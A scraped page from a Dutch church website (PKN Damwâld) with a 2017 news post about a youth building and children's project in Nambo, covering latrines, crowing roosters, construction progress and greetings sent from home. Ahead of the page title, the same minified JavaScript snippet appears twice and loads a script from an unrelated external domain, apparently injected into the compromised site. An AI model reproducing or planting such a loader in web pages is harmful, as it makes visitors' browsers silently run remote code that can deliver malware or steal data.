;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ZA317 | Wennen aan latrines en kraaiende hanen - PKN Damwâld

ZA317 | Wennen aan latrines en kraaiende hanen

Gepubliceerd op: woensdag 9 augustus 2017

Allerlei nieuws uit Nambo! Leider Carlijn doet verslag van de eerste week, hoofdleider Jan meldt dat de groetjes opgehaald zijn, en als klap op de vuurpijl doet ieder groepslid ook meteen de groetjes terug.

De eerste week zit erop. Het was een week die boven verwachting goed was. Oké, de wc (gat in de grond) geeft nog steeds wat moeite bij sommigen, maar de sfeer in de groep is prima. Gek om te merken hoe je van de kleinste dingen kunt genieten. De douche, met een emmer en een kopje water, is voor velen het geniet-moment van de dag. Ook het eten is prima, met dank aan onze kok, Tito. Alhoewel dank… Sommige groepsgenoten hadden gehoopt wat kilo’s kwijt te raken hier maar het lijkt er meer op dat sommigen aankomen. Dat de sfeer in de groep goed is blijkt wel als er weer iemand vrolijk van de latrine afkomt en roept: Yes, ik heb gepoept. Zeg nou zelf, hoe vaak komt dit in Nederland voor en dan al helemaal met een groep omstanders die blij voor je is en nog net geen high 5 geeft.

Ook zijn er mindere kanten. Zo zijn er een aantal hanen. Dat zij het idee van gescheiden douchen niet snappen en zo de dames-douche binnen lopen is nog niet het ergste, maar de hele nacht door kraaien, daar worden we minder vrolijk van. Zo nu en dan wordt er al gezongen: de haan is dood, de haan is dood, maar dat is tot nu toe meer wens dan werkelijkheid. Nu vergeet ik nog bijna het belangrijkste: de bouw en het kinderwerk. De bouw gaat hard, maar dat mag ook wel want we bouwen niet één, niet twee, maar drie gebouwen! Ook het kinderwerk loopt. De ene dag meer kinderen dan de andere, maar het is elke dag een feest. Wij gaan met volle moed de tweede week van ons project in!

Op het moment dat Karlijn’s bijdrage al onderweg naar Nederland was SMS’te hoofdleider Jan: “Yes, eindelijk een computer met internet gevonden! Vandaag heb ik 19 kantjes met groetjes opgehaald, die in de GMG-groepjes voorgelezen zijn. We vinden het allemaal geweldig om groetjes te krijgen, jullie kunnen niet genoeg berichtjes sturen. Bij het voorlezen hebben we gelachen en ook gehuild, want we missen jullie af en toe wel. Er zijn zo veel enthousiaste verhalen die we willen delen… Donderdag probeer ik weer een computer met internet te vinden, zorgen jullie dat er dan voor iedereen weer een stortvloed aan leuke groetjes klaarstaat?”

Een groetje sturen doe je door op de homepage van de World Servants-website op de knop ‘leef mee met…’ te klikken. 

Foto's